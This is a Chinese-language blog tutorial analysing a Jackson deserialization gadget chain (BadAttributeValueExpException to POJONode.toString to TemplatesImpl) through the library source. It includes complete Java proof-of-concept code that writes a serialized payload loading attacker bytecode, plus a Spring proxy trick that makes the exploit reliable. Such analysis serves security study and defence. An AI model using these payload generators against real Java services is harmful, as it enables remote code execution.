Turker
Turker
Published on 2025-12-16 / 40 Visits
0

Java安全——Jackson 反序列化链

Jackson 反序列化链

阅读这篇文章前,推荐先了解CommonsCollections3这条利用链

getter to sink

Jackson 反序列化链的 sink 点依旧是 TemplatesImpl#defineClass 加载字节码。从 getterdefineClass 这一半调用链是我们很熟悉的:

TemplatesImpl.getOutputProperties()
    -> TemplatesImpl.newTransformer()
        -> TemplatesImpl.getTransletInstance()
            -> TemplatesImpl.defineTransletClasses()
                -> TransletClassLoader.defineClass()
                    -> Class.newInstance()

实际上我们需要找的就是一条能走到这个 getter 的利用链。

放一个 POC 在这里以便后面参考:

package org.burger;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Poc {  
    public static void main(String[] args) throws Exception {  
        byte[] code = Files.readAllBytes(Paths.get("Evil.class"));  
  
        TemplatesImpl obj = new TemplatesImpl();  
        setFieldValue(obj, "_bytecodes", new byte[][] { code });  
        setFieldValue(obj, "_name", "Burger King");  
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());  
  
        obj.getOutputProperties();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
}

toString to getter

在 Jackson 中,POJONode#toString 方法可以走到调用 getter 方法,具体调用链如下:

BaseJsonNode.toString()
    -> InternalNodeMapper.nodeToString()
        -> ObjectWriter.writeValueAsString()
            -> ObjectWriter._writeValueAndClose()
	            -> ObjectWriter.serialize()
	                -> DefaultSerializerProvider.serializeValue()
	                    -> DefaultSerializerProvider._serialize()
	                        -> BeanSerializer.serialize()
	                            -> BeanSerializerBase.serializeFields()
	                                -> BeanPropertyWriter.serializeAsField()
	                                    -> Method.invoke()

我们跟进一下这条调用链,首先 POJONode 调用的是它父类 ValueNode 的父类 BaseJsonNodetoString ,它的目的是调用一个工具类 InternalNodeMapper 把当前 JsonNode 对象序列化为 JSON 文本:
com.fasterxml.jackson.databind.node.BaseJsonNode#toString

public String toString() {  
    return InternalNodeMapper.nodeToString(this);  
}

继续看这个 InternalNodeMapper#nodeToString,实现也很简单,它持有一个静态的 STD_WRITER(即 ObjectWriter 的实例)。它的目的也是把节点当成 value,交给 ObjectMapperwriter 去写。
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString

public static String nodeToString(JsonNode n) {  
    try {  
        return STD_WRITER.writeValueAsString(n);  
    } catch (IOException e) {  
        throw new RuntimeException(e);  
    }  
}

继续跟进到 ObjectWriter#writeValueAsString ,这里创建了底层的 JsonGenerator,它负责向缓冲区(SegmentedStringWriter)写入 JSON 字符。_writeValueAndClose 方法会启动序列化流程。它的功能实际上是把一个 Java 对象序列化成 JSON 字符串。这和 Fastjson 的实现非常相似,二者均会自动调用 getter
com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString

public String writeValueAsString(Object value) throws JsonProcessingException {  
    SegmentedStringWriter sw = new SegmentedStringWriter(this._generatorFactory._getBufferRecycler());  
  
    try {  
        this._writeValueAndClose(this.createGenerator((Writer)sw), value);  
    } 
	// ... catch blocks
    return sw.getAndClear();  
}

这里的 serialize 方法实际上是选择使用哪一个 serializer 入口,在我们的新对象里,代码会进入最后的 else 分支。
com.fasterxml.jackson.databind.ObjectWriter.Prefetch#serialize

public void serialize(JsonGenerator gen, Object value, DefaultSerializerProvider prov) throws IOException {  
    if (this.typeSerializer != null) {  
        prov.serializePolymorphic(gen, value, this.rootType, this.valueSerializer, this.typeSerializer);  
    } else if (this.valueSerializer != null) {  
        prov.serializeValue(gen, value, this.rootType, this.valueSerializer);  
    } else if (this.rootType != null) {  
        prov.serializeValue(gen, value, this.rootType);  
    } else {  
        prov.serializeValue(gen, value);  
    }  
  
}

Jackson 是基于策略模式的。不同的对象需要不同的 JsonSerializerserializeValue 方法会调用 findTypedValueSerializer 方法去寻找对应的  JsonSerializer。这也就解释了为什么调用链的开头一定要是 POJONodePOJONode 是 Jackson 内部用来包装一个普通 Java 对象(Plain Old Java Object)的节点,当它被序列化时,Jackson 会取出内部包装的 Object,并查找适合该 Object 的序列化器。对于普通 JavaBean,找到的就是 BeanSerializer
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#serializeValue

public void serializeValue(JsonGenerator gen, Object value) throws IOException {  
    this._generator = gen;  
    if (value == null) {  
        this._serializeNull(gen);  
    } else {  
        Class<?> cls = value.getClass();
        // 动态查找序列化器  
        JsonSerializer<Object> ser = this.findTypedValueSerializer(cls, true, (BeanProperty)null);  
        PropertyName rootName = this._config.getFullRootName();  
        if (rootName == null) {  
            if (this._config.isEnabled(SerializationFeature.WRAP_ROOT_VALUE)) {  
                this._serialize(gen, value, ser, this._config.findRootName(cls));  
                return;  
            }  
        } else if (!rootName.isEmpty()) {  
            this._serialize(gen, value, ser, rootName);  
            return;  
        }  
  
        this._serialize(gen, value, ser);  
    }  
}

这里是真正对 serialize 方法的调用。
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#_serialize

private final void _serialize(JsonGenerator gen, Object value, JsonSerializer<Object> ser, PropertyName rootName) throws IOException {  
    try {  
        gen.writeStartObject();  
        gen.writeFieldName(rootName.simpleAsEncoded(this._config));  
        ser.serialize(value, gen, this);  
        gen.writeEndObject();  
    } catch (Exception e) {  
        throw this._wrapAsIOE(gen, e);  
    }  
}

这是 BeanSerializer 类的核心入口方法,负责协调 JSON 结构的开始与结束,并决定如何填充中间的字段数据。
com.fasterxml.jackson.databind.ser.BeanSerializer#serialize

public final void serialize(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException {  
    if (this._objectIdWriter != null) {  
        gen.setCurrentValue(bean);  
        this._serializeWithObjectId(bean, gen, provider, true);  
    } else {  
        gen.writeStartObject(bean);  
        if (this._propertyFilterId != null) {  
            this.serializeFieldsFiltered(bean, gen, provider);  
        } else {  
            this.serializeFields(bean, gen, provider);  
        }  
  
        gen.writeEndObject();  
    }  
}

实际上 BeanSerializer 在初始化时,已经通过反射分析了目标 Class 的所有 getter 方法,并将它们封装成了 BeanPropertyWriter 数组(this._props)。这里只是遍历它们。
com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields

protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException {  
    BeanPropertyWriter[] props;  
    if (this._filteredProps != null && provider.getActiveView() != null) {  
        props = this._filteredProps;  
    } else {  
        props = this._props;  
    }  
  
    int i = 0;  
  
    try {  
        for(int len = props.length; i < len; ++i) {  
            BeanPropertyWriter prop = props[i];  
            if (prop != null) {  
                prop.serializeAsField(bean, gen, provider);  
            }  
        }  
		// ...
    } 
	// ...
}

最终的触发点在 BeanPropertyWriter#serializeAsField ,它会调用对应属性值的 getter 方法来进行赋值。这里的 bean 是封装在 POJONode 中的原始 Java 对象,this._accessorMethod 实际上就是对应的 getter,通过 invoke() 反射调用。
com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField

public void serializeAsField(Object bean, JsonGenerator gen, SerializerProvider prov) throws Exception {  
    Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);  
	// ... 后续是将 value 写入 JSON 的逻辑
}

好了,这就是这条利用链的 toString to getter 部分,奖励自己弹个计算器吧,毕竟谁不喜欢弹计算器呢。对于原始 POC 的修改也很简单,把 TemplatesImpl 对象包装进 POJONode 就好。

package org.burger;  
  
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Poc {  
    public static void main(String[] args) throws Exception {  
        byte[] code = Files.readAllBytes(Paths.get("Evil.class"));  
  
        TemplatesImpl obj = new TemplatesImpl();  
        setFieldValue(obj, "_bytecodes", new byte[][] { code });  
        setFieldValue(obj, "_name", "Burger King");  
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());  
  
        POJONode jsonNode = new POJONode(obj);  
  
        jsonNode.toString();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
}

readObject to toString

那要如何在反序列化中利用这条 Jackson 链呢?我们就需要找到一个合适的 readObject 方法,它会调用内部成员变量的 toString() 方法。这里我们用到的就是 BadAttributeValueExpException#readObject,它是一个原生类:
javax.management.BadAttributeValueExpException#readObject

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {  
    ObjectInputStream.GetField gf = ois.readFields();  
    Object valObj = gf.get("val", null);  
  
    if (valObj == null) {  
        val = null;  
    } else if (valObj instanceof String) {  
        val= valObj;  
    } else if (System.getSecurityManager() == null  
            || valObj instanceof Long  
            || valObj instanceof Integer  
            || valObj instanceof Float  
            || valObj instanceof Double  
            || valObj instanceof Byte  
            || valObj instanceof Short  
            || valObj instanceof Boolean) {  
        val = valObj.toString();  
    } else { // the serialized object is from a version without JDK-8019292 fix  
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();  
    }  
}

好了,接下来尝试写一个 POC 吧。

如果你真的尝试了直接序列化的话,你会发现你的恶意类在序列化阶段报错了,同时弹出了计算器。这是由于 Java 在使用 writeObject序列化类的时候,如果序列化的类实现了这个方法,这个方法就会被调用。

而很巧的是 POJONode 的基类 BaseJsonNode 就实现了 writeReplace 方法,其原因是Jackson 为了让 JsonNode 支持 Java 原生序列化,实现了一个策略:在 Java 序列化时,先把自己转换成 JSON 格式的字节数组。是不是很眼熟?

没错,这会导致我们的恶意 POJONode 对象走一遍类似上面的 toString to getter 链。也就是说就算没有报错,我们的序列化字节流里保存的不是恶意的 。TemplatesImpl 对象了,而是一个 ObjectNode(普通的 JSON 对象,只包含数据)。

解决方法其实非常简单,把这个方法删了就好。有几种方法,不太优雅的是写一个同包名的Class,然后把 writeReplace 方法注释掉或者直接修改依赖的 Jar 包内容;优雅一点的是这样,利用 Javassist 修改类:

try {
	ClassPool pool = ClassPool.getDefault();
	CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
	CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
	ctClass.removeMethod(writeReplace);
	// 将修改后的类加载到当前 ClassLoader
	ctClass.toClass(); 
	System.out.println("成功移除 BaseJsonNode.writeReplace 方法!");
} catch (Exception e) {
	System.err.println("修改类失败,可能是因为类已经被加载了:" + e.getMessage());
	return;
}

完整 POC:

package org.burger;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Poc {  
    public static void main(String[] args) throws Exception {  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
            ctClass.removeMethod(writeReplace);  
            ctClass.toClass();  
        } catch (Exception e) {  
            return;  
        }  
  
        byte[] code = Files.readAllBytes(Paths.get("Evil.class"));  
  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_bytecodes", new byte[][] { code });  
        setFieldValue(templates, "_name", "Burger King");  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        POJONode jsonNode = new POJONode(templates);  
  
        BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);  
  
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");  
        valField.setAccessible(true);  
        valField.set(badAttribute, jsonNode);  
  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));  
        oos.writeObject(badAttribute);  
        oos.close();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
}

解决不稳定问题

在 Jackson 依次触发 getter 时,其获取所有 getter 的顺序是使用 getDeclaredMethods 方法。根据 Java 官方文档,这个方法获取的顺序是随机 的,如果获取到非预期的 getter 就会直接报错退出了。

这里我们可以用 Spring Boot 里一个代理工具类进行封装,使 Jackson 只获取到我们需要的 getter,就实现了稳定利用。(调用链分析日后再做)

POC:

package org.burger;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Poc {
    public static void main(String[] args) throws Exception {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
            ctClass.removeMethod(writeReplace);
            ctClass.toClass();
        } catch (Exception e) {
            return;
        }

        byte[] code = Files.readAllBytes(Paths.get("Evil.class"));

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] { code });
        setFieldValue(templates, "_name", "Burger King");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        AdvisedSupport support = new AdvisedSupport();
        support.setTarget(templates);

        Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);

        Templates proxy = (Templates) Proxy.newProxyInstance(
                Templates.class.getClassLoader(),
                new Class[]{Templates.class},
                handler
        );


        POJONode jsonNode = new POJONode(proxy);

        BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);

        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttribute, jsonNode);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        oos.writeObject(badAttribute);
        oos.close();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}